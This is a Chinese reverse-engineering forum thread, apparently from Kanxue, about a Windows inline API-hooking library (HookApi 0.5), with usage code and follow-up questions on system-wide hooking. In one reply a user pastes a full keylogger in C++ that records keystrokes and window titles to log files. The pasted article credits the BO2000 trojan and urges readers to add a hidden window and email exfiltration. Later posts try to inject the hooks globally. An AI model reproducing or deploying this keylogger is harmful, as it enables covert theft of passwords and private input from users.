首页
论坛
课程
招聘
[原创]Hook Api lib 0.5 - 2008.04.16更新
2008-4-16 11:15 93669

[原创]Hook Api lib 0.5 - 2008.04.16更新

2008-4-16 11:15
93669
旧帖不能编辑了,新开一个帖,这次改动很大,使得hook更加灵活,支持卸载

计算指令长度使用另一个LDE32,代码简洁,很容易看懂

Stub更加简洁,保存了寄存器,可以支持hook __fastcall的函数

增加了一个结构体HOOKENVIRONMENT,一般情况下用不到,主要用来卸载的^_^

使用中有什么问题跟帖说明

/*
//////////////////////////////////////////////////////////////////////////
HookApi 0.5

thanks to xIkUg ,sucsor

by 海风月影[RCT] , eIcn#live.cn
2008.04.15

//////////////////////////////////////////////////////////////////////////
//更新内容
2008.04.15  0.5

1,重新写了Stub,换了一种模式,使hook更加自由,将hookbefore和hookafter合并
HookProc的定义方式与以前有所不同:

HookProc的函数类型和原来的api一样,只是参数比原API多2个
DWORD WINAPI HookProc(DWORD RetAddr ,__pfnXXXX pfnXXXX, ...);

//参数比原始的API多2个参数
RetAddr	//调用api的返回地址
pfnXXX 	//类型为__pfnXXXX,待hook的api的声明类型,用于调用未被hook的api

详见My_LoadLibraryA
原始的LoadLibraryA的声明是:

HMODULE WINAPI LoadLibraryA( LPCSTR lpLibFileName );

那么首先定义一下hook的WINAPI的类型
typedef HMODULE (WINAPI __pfnLoadLibraryA)(LPCTSTR lpFileName);

然后hookproc的函数声明如下:
HMODULE WINAPI My_LoadLibraryA(DWORD RetAddr,
							   __pfnLoadLibraryA pfnLoadLibraryA,
							   LPCTSTR lpFileName
							   );

比原来的多了2个参数,参数位置不能颠倒,在My_LoadLibraryA中可以自由的调用未被hook的pfnLoadLibraryA
也可以调用系统的LoadLibraryA,不过要自己在hookproc中处理好重入问题

另外,也可以在My_LoadLibraryA中使用UnInstallHookApi()函数来卸载hook,用法如下:
将第二个参数__pfnLoadLibraryA pfnLoadLibraryA强制转换成PHOOKENVIRONMENT类型,使用UnInstallHookApi来卸载

例如:
UnInstallHookApi((PHOOKENVIRONMENT)pfnLoadLibraryA);


至于以前版本的HookBefore和HookAfter,完全可以在自己的HookProc里面灵活使用了


2,支持卸载hook
InstallHookApi()调用后会返回一个PHOOKENVIRONMENT类型的指针
需要卸载的时候可以使用UnInstallHookApi(PHOOKENVIRONMENT pHookEnv)来卸载

在HookProc中也可以使用UnInstallHookApi来卸载,参数传入HookProc中的第二个参数

注意:当HookProc中使用UnInstallHookApi卸载完后就不能用第二个参数来调用API了~~,切记!

2008.04.15  0.41
1,前面的deroko的LdeX86 有BUG,678b803412 会算错
	换了一个LDX32,代码更少,更容易理解

2,修复了VirtualProtect的一个小BUG


0.4以前
改动太大了,前面的就不写了
*/


第五届安全开发者峰会(SDC 2021)10月23日上海召开!限时2.5折门票(含自助午餐1份)

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (99)
雪    币: 109
活跃值: 活跃值 (134)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
combojiang 活跃值 26 2008-4-16 11:25
2
0
沙发学习
雪    币: 225
活跃值: 活跃值 (162)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
斩天 活跃值 2008-4-16 13:01
3
0
好东西,收藏了
雪    币: 215
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
caocunt 活跃值 2008-4-16 13:39
4
0
感谢楼主的改进,请问以下几个问题.

1.也就是说现在可以针对同一个函数在调用前后HOOK了?
那以前的SetOnBefore和SetOnAfter是不是还同时保留?


譬如下面的代码:
int main()
{
  if(!SetOnBefore("Kernel3.dll","DeviceIoControl",DeviceIoControl_Before))
    ::MessageBox(0,"Before","error",0);;
    if(!SetOnAfter("Kernel32.dll","DeviceIoControl",DeviceIoControl_After))
     ::MessageBox(0,"After","error",0);
  DeviceIoControl(0,0,0,0,0,0,0,0);
  return 0;
}

现在是不是只需要pHookEnv = InstallHookApi("Kernel32.dll", "DeviceIoControl", My_LoadLibraryA);就可以了?

2.HOOK的函数只对本exe的进程空间有效???

3.压缩包里提供的hooklib.lib文件是干什么的?如何使用?
雪    币: 215
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
caocunt 活跃值 2008-4-16 13:46
5
0
4.楼主你的卸载函数是不是有点问题?
BOOL __stdcall UnInstallHookApi(PHOOKENVIRONMENT pHookEnv)
{
        DWORD oldpro;
        DWORD RetSize;

        //如果内存不存在了,则退出
        if(IsBadReadPtr((const void*)pHookEnv,sizeof(HOOKENVIRONMENT)))
                return FALSE;

        if(!VirtualProtect(pHookEnv->OrgApiAddr,pHookEnv->SizeOfReplaceCode,PAGE_EXECUTE_READWRITE,&oldpro))
                return FALSE;
        WriteProcessMemory(GetCurrentProcess(),pHookEnv->OrgApiAddr,pHookEnv->savebytes,pHookEnv->SizeOfReplaceCode,&RetSize);

        if(!VirtualProtect(pHookEnv->OrgApiAddr,pHookEnv->SizeOfReplaceCode,oldpro,&oldpro))
                return FALSE;

        VirtualFree((LPVOID)pHookEnv,0,MEM_RELEASE);
        return TRUE;//少了这句了吧?
}

5.如何用你的这些代码去log一个程序(譬如这个程序包括a.exe和b.dll)中的DeviceIOContorl的调用?能举个例子吗?
雪    币: 1931
活跃值: 活跃值 (853)
能力值: (RANK:770 )
在线值:
发帖
回帖
粉丝
海风月影 活跃值 18 2008-4-16 14:55
6
0
先说第4个问题,是个小BUG,我忘记加上了,后面要加一句return TRUE;

第3个问题,是个编译好的静态链接库,压缩包里面有源代码,可以直接忽略

第2个问题,是的,只对本进程有效,如果要全局,可以写一个dll全局注入即可

第一个问题
SetOnBefore的意思是在调用api前先执行指定的hookproc
SetOnAfter的意思是在调用完api后执行指定的hookproc

现在已经去掉了上面2个过程,直接指定一个hookproc

pHookEnv = InstallHookApi("Kernel32.dll", "DeviceIoControl", My_DeviceIoControl);


然后声明一下,详见一下说明

typedef BOOL (WINAPI __pfnDeviceIoControl)(
                HANDLE hDevice,
                DWORD dwIoControlCode,
                LPVOID lpInBuffer,
                DWORD nInBufferSize,
                LPVOID lpOutBuffer,
                DWORD nOutBufferSize,
                LPDWORD lpBytesReturned,
                LPOVERLAPPED lpOverlapped
                );
 
BOOL WINAPI My_DeviceIoControl(
                   DWORD RetAddr,
                   __pfnDeviceIoControl pfnDeviceIoControl,
                   HANDLE hDevice,
                   DWORD dwIoControlCode,
                   LPVOID lpInBuffer,
                   DWORD nInBufferSize,
                   LPVOID lpOutBuffer,
                   DWORD nOutBufferSize,
                   LPDWORD lpBytesReturned,
                   LPOVERLAPPED lpOverlapped
                   );


这时候,你的My_DeviceIoControl可以灵活地自己调用原始的DeviceIoControl这个过程

★★注意:
1,如果在HookProc中自己不调用API(pfnXXXXX()),那么返回后,Stub是不会调用的,切记!
2,当HookProc中使用UnInstallHookApi卸载完后就不能用第二个参数来调用API了(pfnXXXX()),切记!


用法如下:

BOOL WINAPI My_DeviceIoControl(
                   DWORD RetAddr,
                   __pfnDeviceIoControl pfnDeviceIoControl,
                   HANDLE hDevice,
                   DWORD dwIoControlCode,
                   LPVOID lpInBuffer,
                   DWORD nInBufferSize,
                   LPVOID lpOutBuffer,
                   DWORD nOutBufferSize,
                   LPDWORD lpBytesReturned,
                   LPOVERLAPPED lpOverlapped
                   )
{
    ...
    if (XXXX)
    {
        ...
        pfnDeviceIoControl(XXXXXXX);
        ...
    }
    ...
 
    return xxx;
}


如果想实现SetOnBefore,就在自己的hookproc最后调用pfnDeviceIoControl,比如

BOOL WINAPI My_DeviceIoControl(
                   DWORD RetAddr,
                   __pfnDeviceIoControl pfnDeviceIoControl,
                   HANDLE hDevice,
                   DWORD dwIoControlCode,
                   LPVOID lpInBuffer,
                   DWORD nInBufferSize,
                   LPVOID lpOutBuffer,
                   DWORD nOutBufferSize,
                   LPDWORD lpBytesReturned,
                   LPOVERLAPPED lpOverlapped
                   )
{
    ...
    if (XXXX)
    {
        ...
    }
    ...
 
    return pfnDeviceIoControl(hDevice,dwIoControlCode,lpInBuffer,nInBufferSize,lpOutBuffer,nOutBufferSize,lpBytesReturned,lpOverlapped);
}


如果想实现SetOnAfter,那么就先调用pfnDeviceIoControl,然后再写自己的代码

BOOL WINAPI My_DeviceIoControl(
                   DWORD RetAddr,
                   __pfnDeviceIoControl pfnDeviceIoControl,
                   HANDLE hDevice,
                   DWORD dwIoControlCode,
                   LPVOID lpInBuffer,
                   DWORD nInBufferSize,
                   LPVOID lpOutBuffer,
                   DWORD nOutBufferSize,
                   LPDWORD lpBytesReturned,
                   LPOVERLAPPED lpOverlapped
                   )
{
    DWORD dwRet;
 
    dwRet = pfnDeviceIoControl(hDevice,dwIoControlCode,lpInBuffer,nInBufferSize,lpOutBuffer,nOutBufferSize,lpBytesReturned,lpOverlapped);
 
    if (XXXX)
    {
        ...
    }
    ...
 
    return dwRet;
}


当然也可以放在中间调用

你可以在自己的My_DevideIoControl里面判断返回地址是不是在某个模块中,然后记录下需要记录的参数

上面看完后第5个问题应该没什么难度了吧
雪    币: 215
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
caocunt 活跃值 2008-4-16 15:30
7
0
非常感谢楼主的解答!!!

呵呵,由于本人是初学编程,所以对你说说的"DLL全局注入"的意思不太明白,能否解答一二?
你的这些代码可以归纳为两个接口,-----HOoK和UnHook-------,可是全局注入我真不懂,


★★注意:
1,如果在HookProc中自己不调用API(pfnXXXXX()),那么返回后,Stub是不会调用的,切记!
2,当HookProc中使用UnInstallHookApi卸载完后就不能用第二个参数来调用API了(pfnXXXX()),切记!

1的解释我明白,就是如果不自己主动调用原来的函数执行的话,就相当于拦截原来的API调用了.
2就有点不明白了,看你的例子,我编译以后用OD跟踪跑了一遍,也没有发现什么错误啊?为什么你特别强调这点呢?


我自己看明白了,以为是在HookProc中UnHook以后就不能再次UnHook呢,原来是不能用第二个参数来调用原来的API,那当然了,你UnHook了以后那块地址就无效了吧?呵呵
雪    币: 1931
活跃值: 活跃值 (853)
能力值: (RANK:770 )
在线值:
发帖
回帖
粉丝
海风月影 活跃值 18 2008-4-16 15:37
8
0
用SetWindowHookEx挂钩子,搜一下MSDN吧
雪    币: 215
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
caocunt 活跃值 2008-4-16 15:41
9
0
你可以在自己的My_DevideIoControl里面判断返回地址是不是在某个模块中,然后记录下需要记录的参数


原来DWORD RetAddr这个参数是起这个作用的,呵呵,楼主真有心!!!学习了不少,今天收获很大很大,解决了我长久以来的一些疑问.

但是问题又来了,exe的基址一般都是0x400000,,这样是没有办法区别的,对吧?
我觉得应该在HOOKPROC函数里面首先GetModuleFileName获取此刻调用此HOOK的API的名称比较合适,楼主觉得如何?
雪    币: 215
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
caocunt 活跃值 2008-4-16 15:55
10
0
给点思路,我英文不好,我计划用你代码写一个下面的工具~~
上传的附件:
雪    币: 1931
活跃值: 活跃值 (853)
能力值: (RANK:770 )
在线值:
发帖
回帖
粉丝
海风月影 活跃值 18 2008-4-16 16:01
11
0
。。。。。。。。。。。。。。。。。。。。。

剩下的代码就仁者见仁,智者见智了
雪    币: 215
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
caocunt 活跃值 2008-4-16 16:05
12
0
再次感谢你的努力和奉献,我这几天抽时间鼓捣一下,一旦有成果,首先给你发一份,并且在首要位置注明是采用你的APIHOOK代码,呵呵,可否留个EMail??我的caocunt@163.com.
雪    币: 1931
活跃值: 活跃值 (853)
能力值: (RANK:770 )
在线值:
发帖
回帖
粉丝
海风月影 活跃值 18 2008-4-16 16:06
13
0
/*
//////////////////////////////////////////////////////////////////////////
HookApi 0.5

thanks to xIkUg ,sucsor

by 海风月影[RCT] , eIcn#live.cn
2008.04.15
雪    币: 215
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
caocunt 活跃值 2008-4-16 16:10
14
0
[QUOTE=海风月影;441989]/*
//////////////////////////////////////////////////////////////////////////
HookApi 0.5

thanks to xIkUg ,sucsor

by 海风月影[RCT] , eIcn#live.cn
...[/QUOTE]

光顾欣喜的看代码了,呵呵,看来你这个信箱也是你的MSN咯?
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
bwin 活跃值 2008-4-16 18:57
15
0
支持海风大虾啊。。。
雪    币: 215
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
caocunt 活跃值 2008-4-18 11:53
16
0
还是不会用这个函数挂钩,看我下面的代码,是一个对话框程序,我没有按照Hook必须写dll的规矩.不知道哪里出错了,运行点击确定按钮第一次,会弹出111对话框,说明HookApi执行了,但是222没有没有出现,只有再次点击确定按钮,才会出现.但是此时用OD打开别的程序,hook的那个函数并没有改变,请楼主赐教!

void CHookApiAppDlg::OnOK()
{
       
        // 初始化挂钩函数
        g_hHook=SetWindowsHookEx(WH_JOURNALRECORD,KeyboardProc,GetModuleHandle(NULL),//这是把exe本身作为挂钩函数的模块0);
        if (!g_hHook)
        {
                MessageBoxA("SetHook Error!",0,0);
        }
        if (pHookEnv)
        {
                MessageBoxA("2222!!!","Very Good!!",MB_ICONINFORMATION);
        }

}

void CHookApiAppDlg::OnDestroy()
{
        CDialog::OnDestroy();
       
        // 卸载挂钩函数
        if (g_hHook)
        {
                UnhookWindowsHookEx(g_hHook);
        }       
}

void CHookApiAppDlg::OnCancel()
{
        BOOL bRet = UnInstallHookApi(pHookEnv);
        if (bRet)
        {
                ::MessageBoxA(NULL,"UnInstall Success!!!","Good!!",MB_ICONINFORMATION);
               
        }
        CDialog::OnOK();
}

LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
        // 安装ApiHook
        if (!pHookEnv)
        {        pHookEnv = InstallHookApi("Kernel32.dll", "LoadLibraryA", My_LoadLibraryA);
                if (pHookEnv)
                {
                        ::MessageBoxA(NULL,"1111111","Very Good!!",MB_ICONINFORMATION);
                }
               

        }
        return CallNextHookEx(g_hHook,nCode,wParam,lParam);
       
}
雪    币: 240
活跃值: 活跃值 (112)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
xicao 活跃值 2008-4-18 12:20
17
0
是用SetWindowsHookEx来安装全局钩子,但是钩子也有很多类型,不是所有的都是用这个记录钩子WH_JOURNALRECORD

GetModuleHandle(NULL),//这是把exe本身作为挂钩函数的模块0,
不是所有的全局钩子都能用GetModuleHandle(NULL)来把自身作为一个保存钩子处理函数的dll,只似乎有为数不多的2,3个键盘,鼠标相关的钩子可以
很遗憾,这里你没有达到全局hook的效果,呵呵
雪    币: 215
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
caocunt 活跃值 2008-4-18 12:23
18
0
那请问该如何操作呢?前提是不采用dll.

以下是MSDN的钩子类型
Hook Scope
WH_CALLWNDPROC Thread or global
WH_CALLWNDPROCRET Thread or global
WH_CBT Thread or global
WH_DEBUG Thread or global
WH_FOREGROUNDIDLE Thread or global
WH_GETMESSAGE Thread or global
WH_JOURNALPLAYBACK Global only
WH_JOURNALRECORD Global only
WH_KEYBOARD Thread or global
WH_KEYBOARD_LL Global only
WH_MOUSE Thread or global
WH_MOUSE_LL Global only
WH_MSGFILTER Thread or global
WH_SHELL Thread or global
WH_SYSMSGFILTER Global only
雪    币: 240
活跃值: 活跃值 (112)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
xicao 活跃值 2008-4-18 12:32
19
0
WH_GETMESSAGE啊,楼上的兄弟,另外你要实现的全局钩子要写在DLL里
雪    币: 215
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
caocunt 活跃值 2008-4-18 12:33
20
0
我们Windows系统是建立在消息传递的事件驱动的机制上。用钩子可以截获并处理送给其他应用程序的消息,来完成普通应用程序难以实现的功能。键盘记录者的原理就是使用键盘钩子截获键盘消息。当然,并非键盘记录一定要使用钩子,比如WinEggDrop的无钩子键盘记录者。
一般书上都会说:“全局钩子函数必须包含在DLL中,而线程专用钩子还可以包含在可执行文件中”。即如果钩子过程在应用程序中实现,只对该程序起作用;如果钩子过程在DLL中实现,程序在运行中动态调用它,它能对整个系统进行监控。我们做键盘记录当然希望是针对整个系统的了,所以我们发现很多键盘记录者或者带键盘记录功能的木马服务端里都包含用来支持键盘记录的DLL文件。多了DLL文件既增加了程序的体积,也容易因为丢了DLL文件而丧失了键盘记录的功能。本文要讲的是,并非全局键盘钩子一定要在DLL文件中实现,程序中亦可以实现全局钩子。本文的方法来自著名木马BO2000,下面将会向大家详细解说如何实现既使用键盘钩子而又无DLL键盘记录者。
先说点基础知识。实现一个键盘钩子,必须调用API函数SetWindowsHookEx来安装这个钩子函数,这个函数的原型为:HHOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hMod,DWORD dwThreadId);其中,第一个参数是钩子的类型;第二个参数是钩子函数的地址;第三个参数是包含钩子函数的模块句柄;第四个参数指定监视的线程。我们要实现一个全局钩子,所以第四个参数需设置为空。得到控制权的钩子函数在完成对消息的处理后,调用API函数CallNextHookEx来传递该消息。关于钩子的详细介绍读者可参考其它书籍。
本文使用的编程工具为VC++6.0。具体实现步骤和代码解析如下:
1、生成一个基于对话框的程序SEUKBSpy。打开SEUKBSpyDlg.cpp文件。加入下面的全局变量和键盘钩子函数。
HHOOK g_hHook = NULL;           //全局钩子函数句柄
HWND g_hLastFocus = NULL;         //活动窗体句柄

//键盘钩子函数
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
  FILE* out;
  SYSTEMTIME sysTm;
  ::GetLocalTime(&sysTm);
  int m_nYear = sysTm.wYear;
  int m_nMonth = sysTm.wMonth;
  int m_nDay = sysTm.wDay;
  char filename[100];//保存文件名
  sprintf(filename,"Key_%d_%d_%d.log",m_nYear,m_nMonth,m_nDay);

  if(nCode<0)
    return CallNextHookEx(g_hHook,nCode,wParam,lParam); 

  if(nCode==HC_ACTION)//HC_ACTION表明lParam指向一消息结构
  {     
    EVENTMSG *pEvt=(EVENTMSG *)lParam;
    if(pEvt->message==WM_KEYDOWN)//判断是否是击键消息
    {   
      DWORD dwCount; 
      char svBuffer[256]; 
      int vKey,nScan; 
      vKey=LOBYTE(pEvt->paramL); 
      nScan=HIBYTE(pEvt->paramL);//扫描码
      nScan<<=16; 

      //检查当前窗口焦点是否改变
      HWND hFocus=GetActiveWindow(); 
      if(g_hLastFocus!=hFocus)
      {//保存窗口标题到文件中 
          char svTitle[256]; 
          int nCount; 
          nCount=GetWindowText(hFocus,svTitle,256); 
          if(nCount>0)
          { 
            out=fopen(filename,"a+");
            fprintf(out,"\r\n-----活动窗口[%s]-----\r\n",svTitle);
            fclose(out);
          } 
          g_hLastFocus=hFocus; 
      } 

      // Write out key 
      dwCount=GetKeyNameText(nScan,svBuffer,256); 
      if(dwCount)//如果所击键在虚拟键表之中
      {
          if(vKey==VK_SPACE)
          {
            svBuffer[0]=' '; 
            svBuffer[1]='\0'; 
            dwCount=1; 
          } 

          if(dwCount==1)//如果是普通键则将其对应的ascii码存入文件
          {   
            BYTE kbuf[256]; 
            WORD ch; 
            int chcount; 

            GetKeyboardState(kbuf);
            chcount=ToAscii(vKey,nScan,kbuf,&ch,0);
            /*根据当前的扫描码和键盘信息,将一个虚拟键转换成ASCII字符*/
            if(chcount>0)
            {
              out=fopen(filename,"a+");
              fprintf(out,"%c",char(ch));
              fclose(out);
            }
          }
          else//如果是Ctrl、Alt之类则直接将其虚拟键名存入文件
          {       
            out=fopen(filename,"a+");
            fprintf(out,"[%s]",svBuffer);
            fclose(out);
            if(vKey==VK_RETURN)//回车
            {
              out=fopen(filename,"a+");
              fprintf(out,"\r\n");
              fclose(out);
            }
          } 
      } 
    } 
  } 
  return CallNextHookEx(g_hHook,nCode,wParam,lParam); 
}
2、下面是本程序的精华所在。添加按钮[开始记录]及其响应函数OnStart()并在该函数中卸载钩子:
void CSEUKBSpyDlg::OnStart() 
{
g_hHook=SetWindowsHookEx(WH_JOURNALRECORD,KeyboardProc,GetModuleHandle(NULL),0);
}这里用GetModuleHandle(NULL)来把自身作为一个保存钩子处理函数的dll,非常巧妙实用,也是这个本程序的精华所在。
3、添加按钮[开始记录]及其响应函数OnStop()并在该函数中卸载钩子:
void CSEUKBSpyDlg::OnStop() 
{
  if(g_hHook)
      UnhookWindowsHookEx(g_hHook);
}
通过上面几步就可以实现一个无DLL文件的键盘记录者,测试一下就可以得到类似于“SEU_2006_5_3.log”文件名的键盘记录日志文件。再加上隐藏窗口和邮件发送功能是不是就成了一个很实用的键盘记录者?赶快动手打造自己的键盘记录者吧。
雪    币: 117
活跃值: 活跃值 (117)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
渗透 活跃值 2008-4-18 13:32
21
0
好代码,辛苦了
雪    币: 200
活跃值: 活跃值 (13)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
无聊之际 活跃值 2008-4-19 05:25
22
0
稍微崇拜下呀 呵呵 我也是新手 可惜没楼主这么厉害 呵呵 学习下
雪    币: 154
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
yezhichengsqlr 活跃值 2008-4-19 23:38
23
0
HOOK的实质,是强行让被HOOK的程序动态加载包含回调函数的那个模块,使该模块能够被被HOOK程序访问(回调);
又因为“动态加载”的只能是DLL(你可以访问到一个EXE程序的某个函数,但没有办法把该EXE程序作为一个模块ATTACH到被HOOK的程序中),所以才说,全局的钩子都必须以DLL形式存在。

对于HOOK自身程序,把被HOOK模块句柄设置成0,只是告诉程序,回调函数已经在自身的地址空间,不需要加载外部的模块。

不知道这么说,能不能回答到 caocunt 朋友“采不采用DLL”的问题
雪    币: 215
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
caocunt 活跃值 2008-4-21 11:33
24
0
请注意,你还是没有测试!并不需要DLL才能HOOK别的程序的键盘输入的.
看我贴的那段代码,编译成exe以后可以log大多数的程序的键盘输入,所以说明此刻SetWindowsHookEx成功执行,功能也正常.


我现在的问题是把楼主的这些APIHOOK的代码想让它在所有模块中有效,请问该如何处理?
雪    币: 215
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
caocunt 活跃值 2008-4-22 05:56
25
0
写在DLL里面也无法全局hook...

以下是DLL中的代码
#include "stdafx.h"
HANDLE handle = NULL;
BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{
	handle = hModule;
	return TRUE;
}
HHOOK g_hHook = NULL;           //全局钩子函数句柄
 PHOOKENVIRONMENT pHookEnv = 0;
 BOOL IsMe = FALSE;
 
 //先定义一下要hook的WINAPI
 typedef HMODULE (WINAPI __pfnLoadLibraryA)(LPCTSTR lpFileName);
 
 HMODULE WINAPI My_LoadLibraryA(DWORD RetAddr,
	 __pfnLoadLibraryA pfnLoadLibraryA,
	 LPCTSTR lpFileName
	 )
 {
	 
	 HMODULE hLib;
	 
	 //需要自己处理重入和线程安全问题
	 if (!IsMe)
	 {
		 IsMe = TRUE;
		// MessageBox(NULL,lpFileName,TEXT("test"),MB_ICONINFORMATION);
		 hLib = LoadLibrary(lpFileName);//这里调用的是系统的,已经被hook过的
		 IsMe = FALSE;
		 //		//这里是卸载Hook,这里卸载完就不能用pfnLoadLibraryA来调用了
		 //		UnInstallHookApi((PHOOKENVIRONMENT)pfnLoadLibraryA);
		 return hLib;
	 }
	 
	 
	 return pfnLoadLibraryA(lpFileName);//这里调用非hook的
 }
 
 LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
 {
	 // 安装ApiHook
	 if (!pHookEnv)
	 {
		 pHookEnv = InstallHookApi("Kernel32.dll", "LoadLibraryA", My_LoadLibraryA);
		 if (pHookEnv)
		 {
			 ::MessageBoxA(NULL,"1111111","Very Good!!",MB_ICONINFORMATION);
 		 }
		 
		 
	 }
	 return CallNextHookEx(g_hHook,nCode,wParam,lParam); 
	 
}
 __declspec(dllexport) BOOL WINAPI InstallHook()
 {
	 // 初始化挂钩函数
	 g_hHook=SetWindowsHookEx(3,KeyboardProc,(HINSTANCE)handle,0);
	 if (!g_hHook)
	 {
		 return FALSE;
	 }

	 return TRUE;
 }

__declspec(dllexport) BOOL WINAPI UnHook()
{
	if (g_hHook)
	{
		return UnhookWindowsHookEx(g_hHook);
	}	
	return FALSE;
}



以下是exe中的代码
void CHookApiAppDlg::OnOK() 
{
	_asm cpuid
	__pfnInstallHook InstallHook;
	HINSTANCE hinstLib = LoadLibrary("fit_crk.dll");
	InstallHook = (__pfnInstallHook)GetProcAddress(hinstLib,"InstallHook");
	BOOL bRet = InstallHook();//[B][COLOR="Red"]用OD运行到此,发觉没有HOOK掉那个函数,但是返回是1[/COLOR][/B]
	FreeLibrary(hinstLib);

}
游客
登录 | 注册 方可回帖
返回